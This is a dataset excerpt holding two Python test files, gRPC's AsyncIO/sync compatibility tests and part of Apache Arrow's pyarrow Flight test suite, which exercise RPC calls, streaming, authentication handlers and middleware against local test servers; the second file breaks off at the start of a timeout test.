source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
compatibility_test.py | # Copyright 2020 The gRPC Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Testing the compatibility between AsyncIO stack and the old stack."""
import asyncio
from concurrent.futures import ThreadPoolExecutor
import logging
import os
import random
import threading
from typing import Callable, Iterable, Sequence, Tuple
import unittest
import grpc
from grpc.experimental import aio
from src.proto.grpc.testing import messages_pb2
from src.proto.grpc.testing import test_pb2_grpc
from tests.unit.framework.common import test_constants
from tests_aio.unit import _common
from tests_aio.unit._test_base import AioTestBase
from tests_aio.unit._test_server import TestServiceServicer
from tests_aio.unit._test_server import start_test_server
_NUM_STREAM_RESPONSES = 5
_REQUEST_PAYLOAD_SIZE = 7
_RESPONSE_PAYLOAD_SIZE = 42
_REQUEST = b'\x03\x07'
def _unique_options() -> Sequence[Tuple[str, float]]:
return (('iv', random.random()),)
@unittest.skipIf(
os.environ.get('GRPC_ASYNCIO_ENGINE', '').lower() == 'custom_io_manager',
'Compatible mode needs POLLER completion queue.')
class TestCompatibility(AioTestBase):
async def setUp(self):
self._async_server = aio.server(
options=(('grpc.so_reuseport', 0),),
migration_thread_pool=ThreadPoolExecutor())
test_pb2_grpc.add_TestServiceServicer_to_server(TestServiceServicer(),
self._async_server)
self._adhoc_handlers = _common.AdhocGenericHandler()
self._async_server.add_generic_rpc_handlers((self._adhoc_handlers,))
port = self._async_server.add_insecure_port('[::]:0')
address = 'localhost:%d' % port
await self._async_server.start()
# Create async stub
self._async_channel = aio.insecure_channel(address,
options=_unique_options())
self._async_stub = test_pb2_grpc.TestServiceStub(self._async_channel)
# Create sync stub
self._sync_channel = grpc.insecure_channel(address,
options=_unique_options())
self._sync_stub = test_pb2_grpc.TestServiceStub(self._sync_channel)
async def tearDown(self):
self._sync_channel.close()
await self._async_channel.close()
await self._async_server.stop(None)
async def _run_in_another_thread(self, func: Callable[[], None]):
work_done = asyncio.Event(loop=self.loop)
def thread_work():
func()
self.loop.call_soon_threadsafe(work_done.set)
thread = threading.Thread(target=thread_work, daemon=True)
thread.start()
await work_done.wait()
thread.join()
async def test_unary_unary(self):
# Calling async API in this thread
await self._async_stub.UnaryCall(messages_pb2.SimpleRequest(),
timeout=test_constants.LONG_TIMEOUT)
# Calling sync API in a different thread
def sync_work() -> None:
response, call = self._sync_stub.UnaryCall.with_call(
messages_pb2.SimpleRequest(),
timeout=test_constants.LONG_TIMEOUT)
self.assertIsInstance(response, messages_pb2.SimpleResponse)
self.assertEqual(grpc.StatusCode.OK, call.code())
await self._run_in_another_thread(sync_work)
async def test_unary_stream(self):
request = messages_pb2.StreamingOutputCallRequest()
for _ in range(_NUM_STREAM_RESPONSES):
request.response_parameters.append(
messages_pb2.ResponseParameters(size=_RESPONSE_PAYLOAD_SIZE))
# Calling async API in this thread
call = self._async_stub.StreamingOutputCall(request)
for _ in range(_NUM_STREAM_RESPONSES):
await call.read()
self.assertEqual(grpc.StatusCode.OK, await call.code())
# Calling sync API in a different thread
def sync_work() -> None:
response_iterator = self._sync_stub.StreamingOutputCall(request)
for response in response_iterator:
assert _RESPONSE_PAYLOAD_SIZE == len(response.payload.body)
self.assertEqual(grpc.StatusCode.OK, response_iterator.code())
await self._run_in_another_thread(sync_work)
async def test_stream_unary(self):
payload = messages_pb2.Payload(body=b'\0' * _REQUEST_PAYLOAD_SIZE)
request = messages_pb2.StreamingInputCallRequest(payload=payload)
# Calling async API in this thread
async def gen():
for _ in range(_NUM_STREAM_RESPONSES):
yield request
response = await self._async_stub.StreamingInputCall(gen())
self.assertEqual(_NUM_STREAM_RESPONSES * _REQUEST_PAYLOAD_SIZE,
response.aggregated_payload_size)
# Calling sync API in a different thread
def sync_work() -> None:
response = self._sync_stub.StreamingInputCall(
iter([request] * _NUM_STREAM_RESPONSES))
self.assertEqual(_NUM_STREAM_RESPONSES * _REQUEST_PAYLOAD_SIZE,
response.aggregated_payload_size)
await self._run_in_another_thread(sync_work)
async def test_stream_stream(self):
request = messages_pb2.StreamingOutputCallRequest()
request.response_parameters.append(
messages_pb2.ResponseParameters(size=_RESPONSE_PAYLOAD_SIZE))
# Calling async API in this thread
call = self._async_stub.FullDuplexCall()
for _ in range(_NUM_STREAM_RESPONSES):
await call.write(request)
response = await call.read()
assert _RESPONSE_PAYLOAD_SIZE == len(response.payload.body)
await call.done_writing()
assert await call.code() == grpc.StatusCode.OK
# Calling sync API in a different thread
def sync_work() -> None:
response_iterator = self._sync_stub.FullDuplexCall(iter([request]))
for response in response_iterator:
assert _RESPONSE_PAYLOAD_SIZE == len(response.payload.body)
self.assertEqual(grpc.StatusCode.OK, response_iterator.code())
await self._run_in_another_thread(sync_work)
async def test_server(self):
class GenericHandlers(grpc.GenericRpcHandler):
def service(self, handler_call_details):
return grpc.unary_unary_rpc_method_handler(lambda x, _: x)
# It's fine to instantiate server object in the event loop thread.
# The server will spawn its own serving thread.
server = grpc.server(ThreadPoolExecutor(),
handlers=(GenericHandlers(),))
port = server.add_insecure_port('localhost:0')
server.start()
def sync_work() -> None:
for _ in range(100):
with grpc.insecure_channel('localhost:%d' % port) as channel:
response = channel.unary_unary('/test/test')(b'\x07\x08')
self.assertEqual(response, b'\x07\x08')
await self._run_in_another_thread(sync_work)
async def test_many_loop(self):
address, server = await start_test_server()
# Run another loop in another thread
def sync_work():
async def async_work():
# Create async stub
async_channel = aio.insecure_channel(address,
options=_unique_options())
async_stub = test_pb2_grpc.TestServiceStub(async_channel)
call = async_stub.UnaryCall(messages_pb2.SimpleRequest())
response = await call
self.assertIsInstance(response, messages_pb2.SimpleResponse)
self.assertEqual(grpc.StatusCode.OK, await call.code())
loop = asyncio.new_event_loop()
loop.run_until_complete(async_work())
await self._run_in_another_thread(sync_work)
await server.stop(None)
async def test_sync_unary_unary_success(self):
@grpc.unary_unary_rpc_method_handler
def echo_unary_unary(request: bytes, unused_context):
return request
self._adhoc_handlers.set_adhoc_handler(echo_unary_unary)
response = await self._async_channel.unary_unary(_common.ADHOC_METHOD
)(_REQUEST)
self.assertEqual(_REQUEST, response)
async def test_sync_unary_unary_metadata(self):
metadata = (('unique', 'key-42'),)
@grpc.unary_unary_rpc_method_handler
def metadata_unary_unary(request: bytes, context: grpc.ServicerContext):
context.send_initial_metadata(metadata)
return request
self._adhoc_handlers.set_adhoc_handler(metadata_unary_unary)
call = self._async_channel.unary_unary(_common.ADHOC_METHOD)(_REQUEST)
self.assertTrue(
_common.seen_metadata(aio.Metadata(*metadata), await
call.initial_metadata()))
async def test_sync_unary_unary_abort(self):
@grpc.unary_unary_rpc_method_handler
def abort_unary_unary(request: bytes, context: grpc.ServicerContext):
context.abort(grpc.StatusCode.INTERNAL, 'Test')
self._adhoc_handlers.set_adhoc_handler(abort_unary_unary)
with self.assertRaises(aio.AioRpcError) as exception_context:
await self._async_channel.unary_unary(_common.ADHOC_METHOD
)(_REQUEST)
self.assertEqual(grpc.StatusCode.INTERNAL,
exception_context.exception.code())
async def test_sync_unary_unary_set_code(self):
@grpc.unary_unary_rpc_method_handler
def set_code_unary_unary(request: bytes, context: grpc.ServicerContext):
context.set_code(grpc.StatusCode.INTERNAL)
self._adhoc_handlers.set_adhoc_handler(set_code_unary_unary)
with self.assertRaises(aio.AioRpcError) as exception_context:
await self._async_channel.unary_unary(_common.ADHOC_METHOD
)(_REQUEST)
self.assertEqual(grpc.StatusCode.INTERNAL,
exception_context.exception.code())
async def test_sync_unary_stream_success(self):
@grpc.unary_stream_rpc_method_handler
def echo_unary_stream(request: bytes, unused_context):
for _ in range(_NUM_STREAM_RESPONSES):
yield request
self._adhoc_handlers.set_adhoc_handler(echo_unary_stream)
call = self._async_channel.unary_stream(_common.ADHOC_METHOD)(_REQUEST)
async for response in call:
self.assertEqual(_REQUEST, response)
async def test_sync_unary_stream_error(self):
@grpc.unary_stream_rpc_method_handler
def error_unary_stream(request: bytes, unused_context):
for _ in range(_NUM_STREAM_RESPONSES):
yield request
raise RuntimeError('Test')
self._adhoc_handlers.set_adhoc_handler(error_unary_stream)
call = self._async_channel.unary_stream(_common.ADHOC_METHOD)(_REQUEST)
with self.assertRaises(aio.AioRpcError) as exception_context:
async for response in call:
self.assertEqual(_REQUEST, response)
self.assertEqual(grpc.StatusCode.UNKNOWN,
exception_context.exception.code())
async def test_sync_stream_unary_success(self):
@grpc.stream_unary_rpc_method_handler
def echo_stream_unary(request_iterator: Iterable[bytes],
unused_context):
self.assertEqual(len(list(request_iterator)), _NUM_STREAM_RESPONSES)
return _REQUEST
self._adhoc_handlers.set_adhoc_handler(echo_stream_unary)
request_iterator = iter([_REQUEST] * _NUM_STREAM_RESPONSES)
response = await self._async_channel.stream_unary(_common.ADHOC_METHOD
)(request_iterator)
self.assertEqual(_REQUEST, response)
async def test_sync_stream_unary_error(self):
@grpc.stream_unary_rpc_method_handler
def echo_stream_unary(request_iterator: Iterable[bytes],
unused_context):
self.assertEqual(len(list(request_iterator)), _NUM_STREAM_RESPONSES)
raise RuntimeError('Test')
self._adhoc_handlers.set_adhoc_handler(echo_stream_unary)
request_iterator = iter([_REQUEST] * _NUM_STREAM_RESPONSES)
with self.assertRaises(aio.AioRpcError) as exception_context:
response = await self._async_channel.stream_unary(
_common.ADHOC_METHOD)(request_iterator)
self.assertEqual(grpc.StatusCode.UNKNOWN,
exception_context.exception.code())
async def test_sync_stream_stream_success(self):
@grpc.stream_stream_rpc_method_handler
def echo_stream_stream(request_iterator: Iterable[bytes],
unused_context):
for request in request_iterator:
yield request
self._adhoc_handlers.set_adhoc_handler(echo_stream_stream)
request_iterator = iter([_REQUEST] * _NUM_STREAM_RESPONSES)
call = self._async_channel.stream_stream(
_common.ADHOC_METHOD)(request_iterator)
async for response in call:
self.assertEqual(_REQUEST, response)
async def test_sync_stream_stream_error(self):
@grpc.stream_stream_rpc_method_handler
def echo_stream_stream(request_iterator: Iterable[bytes],
unused_context):
for request in request_iterator:
yield request
raise RuntimeError('test')
self._adhoc_handlers.set_adhoc_handler(echo_stream_stream)
request_iterator = iter([_REQUEST] * _NUM_STREAM_RESPONSES)
call = self._async_channel.stream_stream(
_common.ADHOC_METHOD)(request_iterator)
with self.assertRaises(aio.AioRpcError) as exception_context:
async for response in call:
self.assertEqual(_REQUEST, response)
self.assertEqual(grpc.StatusCode.UNKNOWN,
exception_context.exception.code())
if __name__ == '__main__':
logging.basicConfig(level=logging.DEBUG)
unittest.main(verbosity=2)
|
test_flight.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import base64
import os
import struct
import tempfile
import threading
import time
import traceback
import pytest
import pyarrow as pa
from pyarrow.compat import tobytes
from pyarrow.util import pathlib, find_free_port
try:
from pyarrow import flight
from pyarrow.flight import (
FlightClient, FlightServerBase,
ServerAuthHandler, ClientAuthHandler,
ServerMiddleware, ServerMiddlewareFactory,
ClientMiddleware, ClientMiddlewareFactory,
)
except ImportError:
flight = None
FlightClient, FlightServerBase = object, object
ServerAuthHandler, ClientAuthHandler = object, object
ServerMiddleware, ServerMiddlewareFactory = object, object
ClientMiddleware, ClientMiddlewareFactory = object, object
# Marks all of the tests in this module
# Ignore these with pytest ... -m 'not flight'
pytestmark = pytest.mark.flight
def test_import():
# So we see the ImportError somewhere
import pyarrow.flight # noqa
def resource_root():
"""Get the path to the test resources directory."""
if not os.environ.get("ARROW_TEST_DATA"):
raise RuntimeError("Test resources not found; set "
"ARROW_TEST_DATA to <repo root>/testing/data")
return pathlib.Path(os.environ["ARROW_TEST_DATA"]) / "flight"
def read_flight_resource(path):
"""Get the contents of a test resource file."""
root = resource_root()
if not root:
return None
try:
with (root / path).open("rb") as f:
return f.read()
except FileNotFoundError:
raise RuntimeError(
"Test resource {} not found; did you initialize the "
"test resource submodule?\n{}".format(root / path,
traceback.format_exc()))
def example_tls_certs():
"""Get the paths to test TLS certificates."""
return {
"root_cert": read_flight_resource("root-ca.pem"),
"certificates": [
flight.CertKeyPair(
cert=read_flight_resource("cert0.pem"),
key=read_flight_resource("cert0.key"),
),
flight.CertKeyPair(
cert=read_flight_resource("cert1.pem"),
key=read_flight_resource("cert1.key"),
),
]
}
def simple_ints_table():
data = [
pa.array([-10, -5, 0, 5, 10])
]
return pa.Table.from_arrays(data, names=['some_ints'])
def simple_dicts_table():
dict_values = pa.array(["foo", "baz", "quux"], type=pa.utf8())
data = [
pa.chunked_array([
pa.DictionaryArray.from_arrays([1, 0, None], dict_values),
pa.DictionaryArray.from_arrays([2, 1], dict_values)
])
]
return pa.Table.from_arrays(data, names=['some_dicts'])
class ConstantFlightServer(FlightServerBase):
"""A Flight server that always returns the same data.
See ARROW-4796: this server implementation will segfault if Flight
does not properly hold a reference to the Table object.
"""
CRITERIA = b"the expected criteria"
def __init__(self, location=None, **kwargs):
super().__init__(location, **kwargs)
# Ticket -> Table
self.table_factories = {
b'ints': simple_ints_table,
b'dicts': simple_dicts_table,
}
def list_flights(self, context, criteria):
if criteria == self.CRITERIA:
yield flight.FlightInfo(
pa.schema([]),
flight.FlightDescriptor.for_path('/foo'),
[],
-1, -1
)
def do_get(self, context, ticket):
# Return a fresh table, so that Flight is the only one keeping a
# reference.
table = self.table_factories[ticket.ticket]()
return flight.RecordBatchStream(table)
class MetadataFlightServer(FlightServerBase):
"""A Flight server that numbers incoming/outgoing data."""
def do_get(self, context, ticket):
data = [
pa.array([-10, -5, 0, 5, 10])
]
table = pa.Table.from_arrays(data, names=['a'])
return flight.GeneratorStream(
table.schema,
self.number_batches(table))
def do_put(self, context, descriptor, reader, writer):
counter = 0
expected_data = [-10, -5, 0, 5, 10]
while True:
try:
batch, buf = reader.read_chunk()
assert batch.equals(pa.RecordBatch.from_arrays(
[pa.array([expected_data[counter]])],
['a']
))
assert buf is not None
client_counter, = struct.unpack('<i', buf.to_pybytes())
assert counter == client_counter
writer.write(struct.pack('<i', counter))
counter += 1
except StopIteration:
return
@staticmethod
def number_batches(table):
for idx, batch in enumerate(table.to_batches()):
buf = struct.pack('<i', idx)
yield batch, buf
class EchoFlightServer(FlightServerBase):
"""A Flight server that returns the last data uploaded."""
def __init__(self, location=None, expected_schema=None, **kwargs):
super().__init__(location, **kwargs)
self.last_message = None
self.expected_schema = expected_schema
def do_get(self, context, ticket):
return flight.RecordBatchStream(self.last_message)
def do_put(self, context, descriptor, reader, writer):
if self.expected_schema:
assert self.expected_schema == reader.schema
self.last_message = reader.read_all()
class EchoStreamFlightServer(EchoFlightServer):
"""An echo server that streams individual record batches."""
def do_get(self, context, ticket):
return flight.GeneratorStream(
self.last_message.schema,
self.last_message.to_batches(max_chunksize=1024))
def list_actions(self, context):
return []
def do_action(self, context, action):
if action.type == "who-am-i":
return iter([flight.Result(context.peer_identity())])
raise NotImplementedError
class GetInfoFlightServer(FlightServerBase):
"""A Flight server that tests GetFlightInfo."""
def get_flight_info(self, context, descriptor):
return flight.FlightInfo(
pa.schema([('a', pa.int32())]),
descriptor,
[
flight.FlightEndpoint(b'', ['grpc://test']),
flight.FlightEndpoint(
b'',
[flight.Location.for_grpc_tcp('localhost', 5005)],
),
],
-1,
-1,
)
def get_schema(self, context, descriptor):
info = self.get_flight_info(context, descriptor)
return flight.SchemaResult(info.schema)
class ListActionsFlightServer(FlightServerBase):
"""A Flight server that tests ListActions."""
@classmethod
def expected_actions(cls):
return [
("action-1", "description"),
("action-2", ""),
flight.ActionType("action-3", "more detail"),
]
def list_actions(self, context):
yield from self.expected_actions()
class ListActionsErrorFlightServer(FlightServerBase):
"""A Flight server that tests ListActions."""
def list_actions(self, context):
yield ("action-1", "")
yield "foo"
class CheckTicketFlightServer(FlightServerBase):
"""A Flight server that compares the given ticket to an expected value."""
def __init__(self, expected_ticket, location=None, **kwargs):
super().__init__(location, **kwargs)
self.expected_ticket = expected_ticket
def do_get(self, context, ticket):
assert self.expected_ticket == ticket.ticket
data1 = [pa.array([-10, -5, 0, 5, 10], type=pa.int32())]
table = pa.Table.from_arrays(data1, names=['a'])
return flight.RecordBatchStream(table)
def do_put(self, context, descriptor, reader):
self.last_message = reader.read_all()
class InvalidStreamFlightServer(FlightServerBase):
"""A Flight server that tries to return messages with differing schemas."""
schema = pa.schema([('a', pa.int32())])
def do_get(self, context, ticket):
data1 = [pa.array([-10, -5, 0, 5, 10], type=pa.int32())]
data2 = [pa.array([-10.0, -5.0, 0.0, 5.0, 10.0], type=pa.float64())]
assert data1.type != data2.type
table1 = pa.Table.from_arrays(data1, names=['a'])
table2 = pa.Table.from_arrays(data2, names=['a'])
assert table1.schema == self.schema
return flight.GeneratorStream(self.schema, [table1, table2])
class SlowFlightServer(FlightServerBase):
"""A Flight server that delays its responses to test timeouts."""
def do_get(self, context, ticket):
return flight.GeneratorStream(pa.schema([('a', pa.int32())]),
self.slow_stream())
def do_action(self, context, action):
time.sleep(0.5)
return iter([])
@staticmethod
def slow_stream():
data1 = [pa.array([-10, -5, 0, 5, 10], type=pa.int32())]
yield pa.Table.from_arrays(data1, names=['a'])
# The second message should never get sent; the client should
# cancel before we send this
time.sleep(10)
yield pa.Table.from_arrays(data1, names=['a'])
class ErrorFlightServer(FlightServerBase):
"""A Flight server that uses all the Flight-specific errors."""
def do_action(self, context, action):
if action.type == "internal":
raise flight.FlightInternalError("foo")
elif action.type == "timedout":
raise flight.FlightTimedOutError("foo")
elif action.type == "cancel":
raise flight.FlightCancelledError("foo")
elif action.type == "unauthenticated":
raise flight.FlightUnauthenticatedError("foo")
elif action.type == "unauthorized":
raise flight.FlightUnauthorizedError("foo")
elif action.type == "protobuf":
err_msg = b'this is an error message'
raise flight.FlightUnauthorizedError("foo", err_msg)
raise NotImplementedError
def list_flights(self, context, criteria):
yield flight.FlightInfo(
pa.schema([]),
flight.FlightDescriptor.for_path('/foo'),
[],
-1, -1
)
raise flight.FlightInternalError("foo")
class ExchangeFlightServer(FlightServerBase):
"""A server for testing DoExchange."""
def do_exchange(self, context, descriptor, reader, writer):
if descriptor.descriptor_type != flight.DescriptorType.CMD:
raise pa.ArrowInvalid("Must provide a command descriptor")
elif descriptor.command == b"echo":
return self.exchange_echo(context, reader, writer)
elif descriptor.command == b"get":
return self.exchange_do_get(context, reader, writer)
elif descriptor.command == b"put":
return self.exchange_do_put(context, reader, writer)
elif descriptor.command == b"transform":
return self.exchange_transform(context, reader, writer)
else:
raise pa.ArrowInvalid(
"Unknown command: {}".format(descriptor.command))
def exchange_do_get(self, context, reader, writer):
"""Emulate DoGet with DoExchange."""
data = pa.Table.from_arrays([
pa.array(range(0, 10 * 1024))
], names=["a"])
writer.begin(data.schema)
writer.write_table(data)
def exchange_do_put(self, context, reader, writer):
"""Emulate DoPut with DoExchange."""
num_batches = 0
for chunk in reader:
if not chunk.data:
raise pa.ArrowInvalid("All chunks must have data.")
num_batches += 1
writer.write_metadata(str(num_batches).encode("utf-8"))
def exchange_echo(self, context, reader, writer):
"""Run a simple echo server."""
started = False
for chunk in reader:
if not started and chunk.data:
writer.begin(chunk.data.schema)
started = True
if chunk.app_metadata and chunk.data:
writer.write_with_metadata(chunk.data, chunk.app_metadata)
elif chunk.app_metadata:
writer.write_metadata(chunk.app_metadata)
elif chunk.data:
writer.write_batch(chunk.data)
else:
assert False, "Should not happen"
def exchange_transform(self, context, reader, writer):
"""Sum rows in an uploaded table."""
for field in reader.schema:
if not pa.types.is_integer(field.type):
raise pa.ArrowInvalid("Invalid field: " + repr(field))
table = reader.read_all()
sums = [0] * table.num_rows
for column in table:
for row, value in enumerate(column):
sums[row] += value.as_py()
result = pa.Table.from_arrays([pa.array(sums)], names=["sum"])
writer.begin(result.schema)
writer.write_table(result)
class HttpBasicServerAuthHandler(ServerAuthHandler):
"""An example implementation of HTTP basic authentication."""
def __init__(self, creds):
super().__init__()
self.creds = creds
def authenticate(self, outgoing, incoming):
buf = incoming.read()
auth = flight.BasicAuth.deserialize(buf)
if auth.username not in self.creds:
raise flight.FlightUnauthenticatedError("unknown user")
if self.creds[auth.username] != auth.password:
raise flight.FlightUnauthenticatedError("wrong password")
outgoing.write(tobytes(auth.username))
def is_valid(self, token):
if not token:
raise flight.FlightUnauthenticatedError("token not provided")
if token not in self.creds:
raise flight.FlightUnauthenticatedError("unknown user")
return token
class HttpBasicClientAuthHandler(ClientAuthHandler):
"""An example implementation of HTTP basic authentication."""
def __init__(self, username, password):
super().__init__()
self.basic_auth = flight.BasicAuth(username, password)
self.token = None
def authenticate(self, outgoing, incoming):
auth = self.basic_auth.serialize()
outgoing.write(auth)
self.token = incoming.read()
def get_token(self):
return self.token
class TokenServerAuthHandler(ServerAuthHandler):
"""An example implementation of authentication via handshake."""
def __init__(self, creds):
super().__init__()
self.creds = creds
def authenticate(self, outgoing, incoming):
username = incoming.read()
password = incoming.read()
if username in self.creds and self.creds[username] == password:
outgoing.write(base64.b64encode(b'secret:' + username))
else:
raise flight.FlightUnauthenticatedError(
"invalid username/password")
def is_valid(self, token):
token = base64.b64decode(token)
if not token.startswith(b'secret:'):
raise flight.FlightUnauthenticatedError("invalid token")
return token[7:]
class TokenClientAuthHandler(ClientAuthHandler):
"""An example implementation of authentication via handshake."""
def __init__(self, username, password):
super().__init__()
self.username = username
self.password = password
self.token = b''
def authenticate(self, outgoing, incoming):
outgoing.write(self.username)
outgoing.write(self.password)
self.token = incoming.read()
def get_token(self):
return self.token
class HeaderServerMiddleware(ServerMiddleware):
"""Expose a per-call value to the RPC method body."""
def __init__(self, special_value):
self.special_value = special_value
class HeaderServerMiddlewareFactory(ServerMiddlewareFactory):
"""Expose a per-call hard-coded value to the RPC method body."""
def start_call(self, info, headers):
return HeaderServerMiddleware("right value")
class HeaderFlightServer(FlightServerBase):
"""Echo back the per-call hard-coded value."""
def do_action(self, context, action):
middleware = context.get_middleware("test")
if middleware:
return iter([flight.Result(middleware.special_value.encode())])
return iter([flight.Result(b"")])
class SelectiveAuthServerMiddlewareFactory(ServerMiddlewareFactory):
"""Deny access to certain methods based on a header."""
def start_call(self, info, headers):
if info.method == flight.FlightMethod.LIST_ACTIONS:
# No auth needed
return
token = headers.get("x-auth-token")
if not token:
raise flight.FlightUnauthenticatedError("No token")
token = token[0]
if token != "password":
raise flight.FlightUnauthenticatedError("Invalid token")
return HeaderServerMiddleware(token)
class SelectiveAuthClientMiddlewareFactory(ClientMiddlewareFactory):
def start_call(self, info):
return SelectiveAuthClientMiddleware()
class SelectiveAuthClientMiddleware(ClientMiddleware):
def sending_headers(self):
return {
"x-auth-token": "password",
}
class RecordingServerMiddlewareFactory(ServerMiddlewareFactory):
"""Record what methods were called."""
def __init__(self):
super().__init__()
self.methods = []
def start_call(self, info, headers):
self.methods.append(info.method)
return None
class RecordingClientMiddlewareFactory(ClientMiddlewareFactory):
"""Record what methods were called."""
def __init__(self):
super().__init__()
self.methods = []
def start_call(self, info):
self.methods.append(info.method)
return None
def test_flight_server_location_argument():
locations = [
None,
'grpc://localhost:0',
('localhost', find_free_port()),
]
for location in locations:
with FlightServerBase(location) as server:
assert isinstance(server, FlightServerBase)
def test_server_exit_reraises_exception():
with pytest.raises(ValueError):
with FlightServerBase():
raise ValueError()
@pytest.mark.slow
def test_client_wait_for_available():
location = ('localhost', find_free_port())
server = None
def serve():
global server
time.sleep(0.5)
server = FlightServerBase(location)
server.serve()
client = FlightClient(location)
thread = threading.Thread(target=serve, daemon=True)
thread.start()
started = time.time()
client.wait_for_available(timeout=5)
elapsed = time.time() - started
assert elapsed >= 0.5
def test_flight_list_flights():
"""Try a simple list_flights call."""
with ConstantFlightServer() as server:
client = flight.connect(('localhost', server.port))
assert list(client.list_flights()) == []
flights = client.list_flights(ConstantFlightServer.CRITERIA)
assert len(list(flights)) == 1
def test_flight_do_get_ints():
"""Try a simple do_get call."""
table = simple_ints_table()
with ConstantFlightServer() as server:
client = flight.connect(('localhost', server.port))
data = client.do_get(flight.Ticket(b'ints')).read_all()
assert data.equals(table)
@pytest.mark.pandas
def test_do_get_ints_pandas():
"""Try a simple do_get call."""
table = simple_ints_table()
with ConstantFlightServer() as server:
client = flight.connect(('localhost', server.port))
data = client.do_get(flight.Ticket(b'ints')).read_pandas()
assert list(data['some_ints']) == table.column(0).to_pylist()
def test_flight_do_get_dicts():
table = simple_dicts_table()
with ConstantFlightServer() as server:
client = flight.connect(('localhost', server.port))
data = client.do_get(flight.Ticket(b'dicts')).read_all()
assert data.equals(table)
def test_flight_do_get_ticket():
"""Make sure Tickets get passed to the server."""
data1 = [pa.array([-10, -5, 0, 5, 10], type=pa.int32())]
table = pa.Table.from_arrays(data1, names=['a'])
with CheckTicketFlightServer(expected_ticket=b'the-ticket') as server:
client = flight.connect(('localhost', server.port))
data = client.do_get(flight.Ticket(b'the-ticket')).read_all()
assert data.equals(table)
def test_flight_get_info():
"""Make sure FlightEndpoint accepts string and object URIs."""
with GetInfoFlightServer() as server:
client = FlightClient(('localhost', server.port))
info = client.get_flight_info(flight.FlightDescriptor.for_command(b''))
assert info.total_records == -1
assert info.total_bytes == -1
assert info.schema == pa.schema([('a', pa.int32())])
assert len(info.endpoints) == 2
assert len(info.endpoints[0].locations) == 1
assert info.endpoints[0].locations[0] == flight.Location('grpc://test')
assert info.endpoints[1].locations[0] == \
flight.Location.for_grpc_tcp('localhost', 5005)
def test_flight_get_schema():
"""Make sure GetSchema returns correct schema."""
with GetInfoFlightServer() as server:
client = FlightClient(('localhost', server.port))
info = client.get_schema(flight.FlightDescriptor.for_command(b''))
assert info.schema == pa.schema([('a', pa.int32())])
def test_list_actions():
"""Make sure the return type of ListActions is validated."""
# ARROW-6392
with ListActionsErrorFlightServer() as server:
client = FlightClient(('localhost', server.port))
with pytest.raises(
flight.FlightServerError,
match=("Results of list_actions must be "
"ActionType or tuple")
):
list(client.list_actions())
with ListActionsFlightServer() as server:
client = FlightClient(('localhost', server.port))
assert list(client.list_actions()) == \
ListActionsFlightServer.expected_actions()
class ConvenienceServer(FlightServerBase):
"""
Server for testing various implementation conveniences (auto-boxing, etc.)
"""
@property
def simple_action_results(self):
return [b'foo', b'bar', b'baz']
def do_action(self, context, action):
if action.type == 'simple-action':
return iter(self.simple_action_results)
elif action.type == 'echo':
return iter([action.body])
elif action.type == 'bad-action':
return iter(['foo'])
elif action.type == 'arrow-exception':
raise pa.ArrowMemoryError()
def test_do_action_result_convenience():
with ConvenienceServer() as server:
client = FlightClient(('localhost', server.port))
# do_action as action type without body
results = [x.body for x in client.do_action('simple-action')]
assert results == server.simple_action_results
# do_action with tuple of type and body
body = b'the-body'
results = [x.body for x in client.do_action(('echo', body))]
assert results == [body]
def test_nicer_server_exceptions():
with ConvenienceServer() as server:
client = FlightClient(('localhost', server.port))
with pytest.raises(flight.FlightServerError,
match="a bytes-like object is required"):
list(client.do_action('bad-action'))
# While Flight/C++ sends across the original status code, it
# doesn't get mapped to the equivalent code here, since we
# want to be able to distinguish between client- and server-
# side errors.
with pytest.raises(flight.FlightServerError,
match="ArrowMemoryError"):
list(client.do_action('arrow-exception'))
def test_get_port():
"""Make sure port() works."""
server = GetInfoFlightServer("grpc://localhost:0")
try:
assert server.port > 0
finally:
server.shutdown()
@pytest.mark.skipif(os.name == 'nt',
reason="Unix sockets can't be tested on Windows")
def test_flight_domain_socket():
"""Try a simple do_get call over a Unix domain socket."""
with tempfile.NamedTemporaryFile() as sock:
sock.close()
location = flight.Location.for_grpc_unix(sock.name)
with ConstantFlightServer(location=location):
client = FlightClient(location)
reader = client.do_get(flight.Ticket(b'ints'))
table = simple_ints_table()
assert reader.schema.equals(table.schema)
data = reader.read_all()
assert data.equals(table)
reader = client.do_get(flight.Ticket(b'dicts'))
table = simple_dicts_table()
assert reader.schema.equals(table.schema)
data = reader.read_all()
assert data.equals(table)
@pytest.mark.slow
def test_flight_large_message():
"""Try sending/receiving a large message via Flight.
See ARROW-4421: by default, gRPC won't allow us to send messages >
4MiB in size.
"""
data = pa.Table.from_arrays([
pa.array(range(0, 10 * 1024 * 1024))
], names=['a'])
with EchoFlightServer(expected_schema=data.schema) as server:
client = FlightClient(('localhost', server.port))
writer, _ = client.do_put(flight.FlightDescriptor.for_path('test'),
data.schema)
# Write a single giant chunk
writer.write_table(data, 10 * 1024 * 1024)
writer.close()
result = client.do_get(flight.Ticket(b'')).read_all()
assert result.equals(data)
def test_flight_generator_stream():
"""Try downloading a flight of RecordBatches in a GeneratorStream."""
data = pa.Table.from_arrays([
pa.array(range(0, 10 * 1024))
], names=['a'])
with EchoStreamFlightServer() as server:
client = FlightClient(('localhost', server.port))
writer, _ = client.do_put(flight.FlightDescriptor.for_path('test'),
data.schema)
writer.write_table(data)
writer.close()
result = client.do_get(flight.Ticket(b'')).read_all()
assert result.equals(data)
def test_flight_invalid_generator_stream():
"""Try streaming data with mismatched schemas."""
with InvalidStreamFlightServer() as server:
client = FlightClient(('localhost', server.port))
with pytest.raises(pa.ArrowException):
client.do_get(flight.Ticket(b'')).read_all()
def test_timeout_fires():
"""Make sure timeouts fire on slow requests."""
